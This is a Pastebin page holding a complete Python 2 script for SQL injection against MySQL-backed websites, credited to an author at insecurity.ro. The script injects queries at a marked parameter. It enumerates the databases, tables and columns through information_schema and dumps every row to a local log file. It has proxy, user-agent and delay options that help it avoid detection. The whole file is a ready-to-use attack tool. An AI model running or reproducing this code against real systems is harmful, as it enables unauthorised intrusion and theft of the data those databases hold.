Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #+----------------------------------------+
- #| code by : tdxev |
- #| website : tdxev.com |
- #| team : insecurity.ro |
- #| version : 1:20 AM , March 02, 2011 |
- #| bugs & suggestions : [email protected] |
- #+ ---------------------------------------+
- import urllib2 # http requests
- import time # for delay
- import sys # for arguments
- import os # run shell command to get number of rows, columns
- from urllib2 import URLError, HTTPError # for http errors
- from optparse import OptionParser # to parse options
- # application settings
- SQLiPlace = '{inject_here}' # word that indicate the place (column) where to inject SQL statement
- wordStart = 's<><->|' # indicate from where the result start
- wordEnd = '|<-><>e' # indicate where the result ends
- wordSplit = '|<~>|' # column data splitter | use as columns separator
- logFile = 'log' # dump file for all extracted data
- spaceChar = '+' # spaces in the url will be replaced whit this variable
- options = None # keep the options that was been send to application
- #
- # MYSQL START
- #
- SQL_db_nr = 'SELECT COUNT(*) FROM `information_schema`.`schemata`'
- SQL_db_at = 'SELECT `schema_name` FROM `information_schema`.`schemata` LIMIT %s,1'
- SQL_tb_nr = 'SELECT COUNT(DISTINCT `table_name`) FROM `information_schema`.`tables` WHERE `table_schema`=%s'
- SQL_tb_at = 'SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema`=%s LIMIT %s,1'
- SQL_cl_nr = 'SELECT COUNT(DISTINCT `column_name`) FROM `information_schema`.`columns` WHERE `table_schema`=%s and `table_name`=%s'
- SQL_cl_at = 'SELECT `column_name` FROM `information_schema`.`COLUMNS` WHERE `table_schema`=%s and `table_name`=%s LIMIT %s,1'
- SQL_dt_nr = 'SELECT COUNT(*) FROM `%s`.`%s`'
- SQL_dt_at = 'SELECT %s FROM `%s`.`%s` LIMIT %s,1'
- SQL_dt_at_0 = 'SELECT concat_ws(%s,%s) FROM `%s`.`%s` LIMIT %s,1'
- SQL_max_len = 'SELECT MAX(LENGTH(%s)) FROM `%s`.`%s`'
- SQL_if_null = 'IFNULL(cast(`%s` as char),0x4e554c4c)' # NULL Columns ifnull(`x`,'NULL') | Illegal mix of collations for operation 'UNION' unhex(hex(`x`)) or cast(`x` as char)
- #
- # MYSQL END
- #
- #
- # print to screen messages depending on the verbose type
- class LOG:
- def toScreen(self,msgType,msg):
- global options
- if int(msgType) <= int(options.verbose):
- print msg
- def toScreenResult(self,msgType,name_list):
- global options
- if int(msgType) <= int(options.verbose):
- # print to scree data that has been extracted
- rows, columns = os.popen('stty size', 'r').read().split()
- print('-'*int(columns))
- print('LIST:'+','.join(name_list))
- print('-'*int(columns))
- # dump into file information
- class toFile:
- def replace_all(self, text, dic):
- for i,j in dic.iteritems():
- text = text.replace(i,j)
- return text
- def writeBanner(self, info):
- f = open(logFile,'a') # open file for append
- f.write('+-'+ '-'*len(info) + '-+' +"\n") # write banner
- f.write('| ' + info + ' |' +"\n")
- f.write('+-'+ '-'*len(info) + '-+' +"\n")
- f.close() # close file
- def writeRowBanner(self, col_list,col_len):
- up_s = ''
- mid_s = ''
- for i in range(len(col_list)):
- up_s = up_s + '+-' + '-'*(int(col_len[i])+2)
- mid_s = mid_s +'| ' + col_list[i] + ' '*((int(col_len[i])+2)-len(col_list[i]))
- f = open(logFile,'a') # open file for append
- f.write(up_s + '+' + "\n") # write banner
- f.write(mid_s + '|' + "\n") # write banner
- f.write(up_s + '+' + "\n") # write banner
- f.close() # close file
- def writeRowLine(self, col_values,col_len):
- mid_s = ''
- # list of char that will be replaced whit spaces
- reps = {'\n':' ', '\r':' ', '\t':' '}
- for i in range(len(col_values)):
- col_values[i] = self.replace_all(col_values[i],reps)
- mid_s = mid_s +'| ' + col_values[i] + ' '*((int(col_len[i])+2)-len(col_values[i]))
- f = open(logFile,'a') # open file for append
- f.write(mid_s + '|' + "\n") # write line
- f.close() # close file
- def writeRowEnd(self, col_list,col_len):
- up_s = ''
- for i in range(len(col_list)):
- up_s = up_s + '+-' + '-'*(int(col_len[i])+2)
- f = open(logFile,'a') # open file for append
- f.write(up_s + '+' + "\n") # write line
- f.close() # close file
- def write(self, info):
- d = open(logFile,'a') # open file for append
- d.write(info +"\n") # write a line
- d.close() # close file
- # class that is responsible for injection/requests/extract data
- class ENGINE:
- # init class objects
- def __init__(self):
- global SQLiPlace
- global wordStart
- global wordEnd
- self.place = SQLiPlace
- self.wordStart = wordStart
- self.wordEnd = wordEnd
- self.last_request = ''
- self.last_query = ''
- #increase by one on each repetitive error
- self.sleepCount = 0
- def setproxy(self,proxyaddr):
- # set proxy
- print proxyaddr
- proxy = urllib2.ProxyHandler({'http': proxyaddr})
- opener = urllib2.build_opener(proxy)
- urllib2.install_opener(opener)
- # return url content
- def getPage(self, url, params, method):
- global options
- # replace spaces whit spaceChar
- url = url.replace(' ', spaceChar);
- params = params.replace(' ', spaceChar)
- # time delay between each request
- time.sleep(float(options.delay))
- # add headers
- headers = { 'User-Agent' : options.agent }
- # make http request
- try:
- if method == 'GET':
- self.last_request = url + '?' + params
- LOG().toScreen(3,self.last_request)
- request_data = urllib2.Request(self.last_request, None, headers)
- page = urllib2.urlopen(request_data)
- LOG().toScreen(4,page.info())
- if method == 'POST':
- self.last_request = url + "\tPOST: " + params
- LOG().toScreen(3,url + "\tPOST: " + params)
- request_data = urllib2.Request(url, params, headers)
- page = urllib2.urlopen(request_data)
- LOG().toScreen(4,page.info())
- except HTTPError, e:
- # Display warning
- print 'The server couldn\'t fulfill the request.'
- print 'Error code: ', e.code
- print 'REQUEST :',self.last_request
- print "Retry in "+ str(self.sleepCount) + " seconds..."
- time.sleep(self.sleepCount)
- self.sleepCount += 1
- # Retry to connect
- textpage = self.getPage(url, params, method)
- self.sleepCount = 0
- return textpage
- except URLError, e:
- # Display warning
- print 'We failed to reach a server.'
- print 'Reason: ', e.reason
- print 'REQUEST :',self.last_request
- print "Retry in "+ str(self.sleepCount) + " seconds..."
- time.sleep(self.sleepCount)
- self.sleepCount += 1
- # Retry to connect
- textpage = self.getPage(url, params, method)
- self.sleepCount = 0
- return textpage
- textpage = page.read()
- LOG().toScreen(5,textpage)
- return textpage
- def toSQLHex(self, text):
- return "0x" + text.encode('hex_codec')
- # inject query in parameters
- def inject_sql(self, params, sql_query):
- self.last_query = sql_query
- LOG().toScreen(2,'QUERY: '+sql_query)
- return params.replace(self.place, 'concat(' + self.toSQLHex(self.wordStart) + ',(' + sql_query + ' ),' + self.toSQLHex(self.wordEnd) + ')' )
- # extract sql query result from the page
- def extract_data(self, page):
- s = page.find(self.wordStart)
- e = page.find(self.wordEnd)
- # if one of tow words not appear in the page something goes wrong | ERROR
- if s == -1 or e == -1 :
- print "ERROR : Key words not found in the page!"
- return False
- data = page[s + len(self.wordStart) :e]
- LOG().toScreen(1,'EXTRACTED DATA: ' + data)
- return data
- # DATABASES
- class DATABASES:
- # init class objects
- def __init__(self):
- global options
- # extract number of data bases
- def get_nr(self):
- query = SQL_db_nr
- page = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params, query), options.method)
- rowNr = ENGINE().extract_data(page)
- return rowNr
- # extract data base name at position pos
- def get_at(self,pos):
- query = SQL_db_at % (pos)
- page = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params, query), options.method)
- return ENGINE().extract_data(page)
- # extract all data bases and dump in log file
- def get_all(self):
- LOG().toScreen(1,'Extract the number of rows...')
- rowsNr = self.get_nr()
- toFile().writeBanner('[DATABASES] [' + rowsNr + ']')
- name_list = []
- LOG().toScreen(1,'Extract data from columns...')
- for nr in range( int(rowsNr) ):
- name = self.get_at(nr)
- name_list.append(name)
- toFile().write('[' + str(nr).zfill(len(rowsNr)) + '] ' + name)
- toFile().write('LIST :' + ','.join(name_list) )
- toFile().write("")
- LOG().toScreenResult(1,name_list)
- return name_list
- # TABLES
- class TABLES:
- # init class objects
- def __init__(self):
- global options
- # extract number of tables from selected database
- def get_nr(self, db_name):
- query = query = SQL_tb_nr % (ENGINE().toSQLHex(db_name))
- page = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
- return ENGINE().extract_data(page)
- # extract table name at position pos
- def get_at(self, db_name, pos):
- query = SQL_tb_at % (ENGINE().toSQLHex(db_name), pos)
- page = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
- return ENGINE().extract_data(page)
- # extract all tables from database and dump in log file
- def get_all(self,db_name):
- LOG().toScreen(1,'Extract the number of rows...')
- rowsNr = self.get_nr(db_name)
- toFile().writeBanner('[TABLES] `' + db_name + '` [' + rowsNr + ']')
- name_list = []
- LOG().toScreen(1,'Extract data from columns...')
- for nr in range( int(rowsNr) ):
- name = self.get_at(db_name,nr)
- name_list.append(name)
- toFile().write('[' + str(nr).zfill(len(rowsNr)) + '] ' + name)
- toFile().write('LIST :' + ','.join(name_list) )
- toFile().write("")
- LOG().toScreenResult(1,name_list)
- return name_list
- # COLUMNS
- class COLUMNS:
- # init class objects
- def __init__(self):
- global options
- # extract number of columns from selected table
- def get_nr(self, db_name, tb_name):
- query = SQL_cl_nr % (ENGINE().toSQLHex(db_name),ENGINE().toSQLHex(tb_name))
- page = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
- return ENGINE().extract_data(page)
- # extract column name at position pos
- def get_at(self, db_name, tb_name, pos):
- query = SQL_cl_at % (ENGINE().toSQLHex(db_name), ENGINE().toSQLHex(tb_name), pos)
- page = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
- return ENGINE().extract_data(page)
- # extract all tables from database and dump in log file
- def get_all(self, db_name, tb_name):
- LOG().toScreen(1,'Extract the number of rows...')
- rowsNr = self.get_nr(db_name, tb_name)
- toFile().writeBanner('[COLUMNS] `' + db_name + '`.`' + tb_name + '` [' + str(rowsNr) + ']')
- name_list = []
- LOG().toScreen(1,'Extract data from columns...')
- for nr in range( int(rowsNr) ):
- name = self.get_at(db_name, tb_name, nr)
- name_list.append(name)
- toFile().write('[' + str(nr).zfill(len(rowsNr)) + '] ' + name)
- toFile().write('LIST :' + ','.join(name_list) )
- toFile().write("")
- LOG().toScreenResult(1,name_list)
- return name_list
- # DATA
- class DATA:
- # init class objects
- def __init__(self):
- global options
- # extract max length of column content | need only for visual design
- def get_maxLen(self, db_name, tb_name, cl_name):
- query = SQL_max_len % (cl_name,db_name,tb_name)
- page = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params,query), options.method)
- return ENGINE().extract_data(page)
- # extract number of rows from table
- def get_nr(self, db_name, tb_name):
- query = SQL_dt_nr % (db_name,tb_name)
- page = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params,query), options.method)
- return ENGINE().extract_data(page)
- # extract value from specified column
- def get_at(self, db_name, tb_name, cl_name, pos):
- query = SQL_dt_at % (cl_name, db_name, tb_name, pos)
- page = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params,query), options.method)
- return ENGINE().extract_data(page)
- # mysql concat_ws
- def get_at_ws(self, db_name, tb_name, cl_list, pos):
- query = SQL_dt_at_0 % (ENGINE().toSQLHex(wordSplit), cl_list, db_name, tb_name, pos)
- page = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params, query), options.method)
- return ENGINE().extract_data(page)
- # extract columns values from specified row and return array
- def get_row(self, db_name, tb_name, cl_list, pos):
- cl_list_ifnull_array = []
- cl_list_ifnull = ''
- # add IFNULL statement for each column
- for col in cl_list.split(','):
- cl_list_ifnull = cl_list_ifnull + SQL_if_null % ( col ) + ','
- cl_list_ifnull_array.append(SQL_if_null % ( col ))
- cl_list_ifnull = cl_list_ifnull[:-1]
- # try concat_ws syntax
- data = self.get_at_ws(db_name, tb_name, cl_list_ifnull, pos)
- if data != False:
- return data.split(wordSplit)
- print "Some error has apper when using concat_ws try to extract data column by column"
- # get data column by column
- col_value = []
- for col in cl_list_ifnull_array:
- data = self.get_at(db_name, tb_name, col, pos)
- if data != False:
- col_value.append(data)
- else:
- print "Some error has apper when trying to extract data from '", col,"'"
- return col_value
- # extract all data from selected columns
- def get_all(self, db_name, tb_name, cl_list):
- # if column list is empty exit
- if cl_list == '':
- return 0
- # get number of rows that will be extracted
- rowsNr = self.get_nr(db_name, tb_name)
- if int(rowsNr) < 1 :
- toFile().writeBanner('[DATA] `' + db_name + '`.`' + tb_name + '` [' + str(rowsNr) + ']')
- return 0
- # try to extract max length of each column content | need only for visual design
- #-------------------------------------------------------------[ GET LENGTH START
- columns_list = cl_list.split(',')
- columns_len = []
- for col in columns_list:
- col_len = self.get_maxLen(db_name, tb_name, SQL_if_null % ( col ) )
- if int(col_len) < len(col) :
- col_len = len(col)
- columns_len.append(col_len)
- #-------------------------------------------------------------[ GET LENGTH END
- toFile().writeBanner('[DATA] `' + db_name + '`.`' + tb_name + '` [' + str(rowsNr) + ']')
- toFile().writeRowBanner(columns_list,columns_len)
- # tray to extract data using CONCAT_WS
- for nr in range( int(rowsNr) ):
- name = self.get_row(db_name,tb_name,cl_list,nr)
- toFile().writeRowLine(name,columns_len)
- toFile().writeRowEnd(name,columns_len)
- toFile().write("")
- # dump entire table
- def dump_table(db_name,tb_name) :
- columns_list = COLUMNS().get_all(db_name,tb_name)
- DATA().get_all(db_name, tb_name, ','.join(columns_list))
- # dump entire database
- def dump_database(db_name) :
- tables_list = TABLES().get_all(db_name)
- for tb_name in tables_list :
- dump_table(db_name,tb_name)
- # dump all databases
- def dump_databases() :
- database_list = DATABASES().get_all()
- for db_name in database_list :
- tables_list = TABLES().get_all(db_name)
- for tb_name in tables_list :
- dump_table(db_name,tb_name)
- def main(argv):
- global options
- usage = "%s --help for more options" % sys.argv[0]
- parser = OptionParser(usage=usage)
- parser.add_option("-u", "--url", dest="url",
- help="URL where the injection will be made")
- parser.add_option("-p", "--params", dest="params",
- help="Parameters that will be send to the page")
- parser.add_option("-m", "--method", dest="method",default='GET',
- help="Method that will be use to send params GET | POST (Default GET)")
- parser.add_option("--user-agent", dest="agent",default='',
- help="Custom user-agent (Default empty string)")
- parser.add_option("--proxy", dest="proxy",default = None,
- help="Set a http proxy (default = None), ex --proxy \"109.123.100.55:3128\"")
- parser.add_option("--delay", dest="delay",default = 0,
- help="Aplay time delay between http requests (Default 0 seconds)")
- parser.add_option("--dbs", dest="get_dbs",action="store_true",
- help="Extract all databases")
- parser.add_option("--tables", dest="get_tbs",action="store_true",
- help="Extract all tables from database specified by -D")
- parser.add_option("--columns", dest="get_cols",action="store_true",
- help="Extract all columns from tables specified by -T")
- parser.add_option("--dump", dest="get_data",action="store_true",
- help="Dump data from database, table, columns")
- parser.add_option("-D", dest="db_name",
- help="Specify which database to use")
- parser.add_option("-T", dest="tb_name",
- help="Specify which table to use")
- parser.add_option("-C", dest="columns_name",
- help="Specify which columns to use ex. ( -C 'id,user,email')")
- parser.add_option("-v", dest="verbose",default=1,
- help="Verbose mode (delault 1)")
- options, args = parser.parse_args()
- if not options.url or not options.params:
- parser.error("you must enter -u;--url and -p; --params ")
- # exec user commands
- if options.proxy :
- ENGINE().setproxy(options.proxy)
- if options.get_dbs:
- DATABASES().get_all()
- if options.get_tbs:
- if not options.db_name :
- parser.error("You must specify what database to use to extract tables")
- TABLES().get_all(options.db_name)
- if options.get_cols:
- if not options.db_name :
- parser.error("You must specify what database to use to extract columns")
- if not options.tb_name :
- parser.error("You must specify what table to use to extract columns")
- COLUMNS().get_all(options.db_name,options.tb_name)
- if options.get_data:
- if not options.db_name :
- print "You can specify from what database will extract data by using : -D database_name"
- ans = raw_input("You want to extract all data from all databases`? (Y/N) :")
- if ans.lower() == 'y' :
- dump_databases()
- sys.exit(0)
- else :
- sys.exit(0)
- if not options.tb_name :
- print "You can specify from what table will extract data by using : -T table_name"
- ans = raw_input("You want to extract all data from data base `" + options.db_name +"`? (Y/N) :")
- if ans.lower() == 'y' :
- dump_database(options.db_name)
- sys.exit(0)
- else :
- sys.exit(0)
- if not options.columns_name :
- print "You can specify from what columns will extract data by using : -C column_name,column_name"
- ans = raw_input("You want to extract all data from table `" + options.tb_name +"`? (Y/N) :")
- if ans.lower() == 'y' :
- dump_table(options.db_name, options.tb_name)
- sys.exit(0)
- else :
- sys.exit(0)
- else:
- # if has been from what column will extract data
- DATA().get_all(options.db_name,options.tb_name,options.columns_name)
- if __name__ == "__main__":
- main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement